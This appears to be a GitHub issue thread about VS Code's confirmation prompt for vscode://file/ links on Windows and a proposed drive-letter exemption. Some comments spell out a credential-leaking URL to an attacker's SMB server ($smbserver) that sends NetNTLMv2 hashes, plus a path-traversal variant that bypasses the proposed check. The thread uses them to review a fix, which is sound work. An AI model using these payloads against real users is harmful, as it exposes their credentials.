URL protocol: confirmation dialog

[DifficultNick]

Is there any way to open files by URL without confirmation?
It starts from 1.44 version and has no "Always open" checkbox.
When you need to open a lot of files with URL its not comfortable to click "Yes" every time.

• VSCode Version: 1.44
• OS Version: Windows 10

Steps to Reproduce:

1. Open link "vscode://file/path"
2. See the confirmation dialog "An external application wants to open 'path' in Code. Do you want to open this file or folder?"

Does this issue occur when all extensions are disabled?: Yes

[gjsjohnmurray]

See #95252 which arrived in 1.44.1

[jtbrower]

I have a situation where this is forcing me to answer the question twice. I have an internal tool that generates an HTML page shown in Chrome with links similar to the one I have pasted below. The link points to the line number, column and file that is opened in VSCode when I click on the link from and HTML page that I display through Chrome. Back when I built the tool, I spent quite a while trying to stop Chrome from prompting me each time I open the file but just learned to live with it. Now that this has been added to VSCode, anytime I try to open an html link from Chrome to VSCode I am prompted once by Chrome and then a second time by VSCode. I wish both programs had an option to allow bypass without confirmation but it now appears that links like <a href='vscode://file/D:\OSPOS5\Shared\Build\Settings.Build.props:13:5'>.\Shared\Build\Settings.Build.props</a> are of little value due to the double prompt. I appreciate the security concerns but we are all advanced developers who should be able to bypass impractical annoyances like this. Can we please have a setting for this?

[Saintel]

Alternatively, can you add trusted locations option?

[Forsakenrox]

Alternatively, can you add trusted locations option?

best solution for this case

[phanirithvij]

Hi just reminding @kieferrm. Consider taking a look at this, please?

[tmiecz]

+1 for me on this as well

[rusiano]

+1

[FayDoom]

+1

[mobimaster]

+1

[viperet]

@kieferrm would you accept PR that will disable this popup for files in trusted workspaces or in the whitelisted paths?

[viperet]

@kieferrm I created a PR that fixes unnecessary confirmations but still prevents security risks when opening SMB links on Windows, please review #131155

[jtbrower]

Nice!

[xitanggg]

Wondering if there is any updates on this? I experience the same issue on Windows but not on Mac. It is weird & bad UX experience that it asks the question all the time even for whitelisted repo 😞

[viperet]

@xitanggg I created very simple PR that removes that prompt for most of the links, which is safe to open. But it was closed without any real review.

[xitanggg]

@viperet Thanks for the initiative to submit that PR! That is sad to hear that it wasn't being reviewed.

I took a look to catch up on the history and context. Here is the timeline of the events based on my understanding (please correct me if I am wrong):

1. @smaury report a security issue of vscode://file/ in windows machine in which an attacker (e.g. via extension) can potentially run vscode://file/ without user knowing that is redirected to read the attacker's SMB share file, in which case the attacker can receive the hash of the user's password and crack it. (This is a bit surprising to me, I would think that a good password would take more than a lifetime to crack - disclaimer: I am not a security expert)
2. To fix the security issue, @kieferrm added shouldBlockURI in commit 92ff20ac in April 2020 (2 years ago) as a temporary solution, which displays a dialog to the user whenever vscode://file/ is called on a windows machine and asks them to confirm if that is the file path they intent to open (I called it a temporary solution because the UX is obviously not great).
3. Workspace Trust is introduced in May 2021 (last year) that also displays a dialog to user and asks user for permission before they can access a workspace, therefore preventing automatic code execution.

My understanding is that prior to the introduction of Workspace Trust, code can automatically execute whenever a workspace is opened, therefore the display of the dialog to the user whenever vscode://file/ is called on a windows machine is necessary. However, since its introduction, automatic code execution is protected in a new dialog and new layer (with better built features such as workspace whitelisted and better UX). Given these, I believe we can safely revert commit 92ff20ac, since it is temp fix and Workspace Trust is the permanent solution. If so, I think we should revert the change. As web and client becomes more integrated, especially with the introduction of https://vscode.dev/. Developer will expect a more seamless interaction between web and client. Also, it is the right thing to do to enhance the UX experience. Would be curious to hear what you all think @smaury @kieferrm @Tyriar Thanks all for your time!

[smaury]

@xitanggg to make sure the context is clear, the steps to reproduce the vulnerability (before the fix) were:

1. Open a browser
2. Browse the following URL by replacing $smbserver with the IP address of your SMB server: vscode://file//$smbserver/a.txt
3. Confirm you want to open the VS Code
4. Your NetNTLMv2 hashes are sent to $smbserver

Obviously this could be done without manually browsing the URL but by just clicking a link in a web page or via a forced redirect through JavaScript.

The fix now prompts the user for a confirmation, showing that something strange is happening. This basically shows the target $smbserver, so the user could easily understand if it's legitimate or not.

AFAIK the Workspace Trust does not implement any security feature regarding this. I mean, even though you open a workspace without any trust, visiting a vscode://file//$smbserver/a.txt URL would lead to your credentials being sent over the wire to $smbserver. This is the standard Windows behavior while dealing with the SMB protocol.

[xitanggg]

@smaury Thanks so much for clarifying the context. It really helps to understand the context and problem now.

So the current fix commit 92ff20ac prompts the user before sending the request to vscode://file//$smbserver/a.txt. But the Workspace Trust actually comes in later in the process, which lets VSCode make the request and then displays the prompt, at which point it is too late because the request has been made and the credentials have been leaked. (Previously, I thought automatic code execution is needed to leak the credentials but it seems making the request would do. Thanks for clarifying that!)

Now we are on the same page on the context and problem. It seems for the attack to work, attacker has to send request to vscode://file//$smbserver/$whatever-file, where $smbserver is some external IP address and is not non-local. Blocking every request is an overkill in this case especially with local file access. Therefore,@viperet created a pull request #131155 previously and his solution is to not show prompt to file path that begins with ${letter}:/, where ${letter} can be a-z or A-Z, which indicates local file. It seems to be a great solution that blocks potential attack on external file while allowing simple non-prompt local file access, which is known to be safe. @smaury What do you think of this solution since you are the security expert here?

@joaomoreno Can you explain why you close that pull request? I don't quite follow what you mean by It's still a security issue since third party extensions could easily run on activation on folders where the user didn't expect them to, as there is no external request and therefore it isn't possible to leak the credential to attacker.

[smaury]

@xitanggg my main concern about a6fa60a is that at a first sight I don't understand if uri.fsPath is resolved or not (i.e. if I visit vscode://file/C:/Users/../Windows/ would I see C:/Windows/ or C:/Users/../Windows/ in uri.fsPath?).
If it is not, then something like vscode://file/c:/..//$smbserver/$whatever-file might bypass the check.
What I would suggest is to debug that PR and check what's inside uri.fsPath when opening vscode://file/c:/..//$smbserver/$whatever-file and some similar payloads.

Besides that the fix looks OK to me. This does not 100% prevent access to SMB shares (i.e. if you mounted \\10.20.30.40\C$ as Z: you would load the file from the SMB share by visiting vscode://file/z:/$whatever-file) but it would prevent to open without any user consent arbitrary SMB shares, which was the actual vulnerability.

[xitanggg]

Thanks for your input @smaury! I took a quick look into uri.fspath link. There is a helpful example that explains what it returns, as shown below.

/**
* Returns a string representing the corresponding file system path of this URI.
* Will handle UNC paths, normalizes windows drive letters to lower-case, and uses the
* platform specific path separator.
*
* The *difference* to `URI#path` is the use of the platform specific separator and the handling
* of UNC paths. See the below sample of a file-uri with an authority (UNC path).
* /
const u = URI.parse('file://server/c$/folder/file.txt')
u.authority === 'server'                             #The part between the first double slashes and the next slash.
u.path === '/shares/c$/file.txt'
u.fsPath === '\\server\c$\folder\file.txt'

So in your example, it would be

const u = URI.parse('vscode://file/C:/Users/../Windows/')
u.authority === 'file'
u.fsPath === '\C:\Users\..\Windows\'

I don't have the development environment set up for VSCode, but I am able to confirm that is the correct u.fsPath since it calls uriToFsPath(URI, false) underneath. I extract the function and mock it with u.path as /C:/Users/abc/def/Windows/ and receives u.fsPath = '\C:\Users\abc\def\Windows\' (Fiddle Attached) (I haven't looked into whether u.path has the initial forward slash /, if it doesn't u.fsPath would also not have the initial \)

But short answer to your concern: No, it doesn't resolve. It simply returns the part after file/.

I like when you bolded might, are you suggesting

1. it is a valid concern if it doesn't resolve or
2. it might potentially be a concern if it doesn't resolve?

To me, it feels like the latter - 2, if the attacker can re-route a local file access vscode://file/c:/..//$smbserver/$whatever-file to a remote file access, or mount an IP to a drive (which are possible), the attacker seems to have known the computer well enough and have already attacked / gained access to the computer in the first place. So to me, these situations seem possible but shouldn't be much of valid concern, since attackers wouldn't have advanced access to the computer and modified local setting in the first place. (Please correct me if I am wrong as I am not a security expert and likely miss something)

@viperet While digging into the source code, I see that a helper function hasDriveLetter has been created in src/vs/base/common/extpath.ts.
One suggestion I have to the pull request is to use hasDriveLetter to avoid duplication.

import { hasDriveLetter } from 'vs/base/common/extpath';
if (hasDriveLetter(uri.fsPath)) return false;

(One thing I still need to verify is to make sure uri.fsPath doesn't return the extra forward slash in the beginning, otherwise we would need to remove it before passing into hasDriveLetter)

[pkaminski]

I believe that not resolving the path is a problem since it lets an attacker easily bypass the drive letter check. However, perhaps we can work around it (without implementing full resolution) by checking that there are no double-backslashes anywhere in the path instead of (or on top of) looking for a leading drive letter? I'm assuming that an SMB share must be preceded by a double backslash wherever it occurs to be parsed correctly.

[smaury]

@xitanggg as @pkaminski stated the problem is in not resolving the path while doing the drive letter check, while resolving it while using it.

In this example I browsed vscode://file/c:/..//aaa/a.txt which would have survived the check implemented in a6fa60a but in the end the SMB share \\aaa\ would have been visited by VS Code.

I think an easy check is to apply the .match(/^[a-zA-Z]\:/) or the hasDriveLetter (which are basically equivalent) on getPathLabel(uri.fsPath, this.environmentMainService), which is the resolved and normalized version also shown in the popup.

[xitanggg]

Ah, this is spot on and makes sense now why it needs to be resolved because the path can potentially traverse back with ... Thanks for the helpful example! Yeah, getPathLabel seems to be the resolved function and if hasDriveLetter(getPathLabel(uri.fsPath, this.environmentMainService)) seems to do the trick!

import { hasDriveLetter } from 'vs/base/common/extpath';
const resovledPath = getPathLabel(uri.fsPath, this.environmentMainService);
if (hasDriveLetter(resovledPath)) return false;

I have more bandwidth later this week. I can look more into it to confirm and then open up a new pull request so we can close this (unless anyone can get to it earlier, in which case feel free to go ahead to submit the pull request). Thanks @smaury for the pointer and question that get us closer to the solution 🚀🙌

[viperet]

I will update my PR with this improved solution today

[viperet]

main...viperet:main
Looks much better now. @joaomoreno Can you reopen PR now?

[xitanggg]

I just verify everything works and opened a new PR to get their attention. Also because there is a minor bug in your code, it should be return false to unblock it.